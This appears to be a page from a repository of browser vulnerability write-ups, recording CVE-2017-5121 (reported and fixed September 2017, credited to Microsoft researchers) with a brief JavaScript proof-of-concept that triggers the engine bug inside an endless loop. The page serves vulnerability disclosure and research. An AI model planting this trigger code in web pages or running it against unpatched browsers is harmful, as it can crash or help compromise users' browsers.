Skip to content

Latest commit

 

History

History
21 lines (16 loc) · 449 Bytes

CVE-2017-5121.md

File metadata and controls

21 lines (16 loc) · 449 Bytes
Raw

CVE-2017-5121

  • Report: Sep 2017
  • Fix: Sep 2017
  • Credit: Jordan Rabet, Microsoft Offensive Security Research and Microsoft ChakraCore team

PoC

var f = function()
{
  var o = { a: {}, b: { ba: { baa: 0, bab: [] }, bb: {}, bc: { bca: {bcaa: 0, bcab: 0, bcac: this} } } };
  o.b.bc.bca.bcab = 0;
  o.b.bb.bba = Array.prototype.slice.apply(o.b.ba.bab);
};
while(true) f(f);

Reference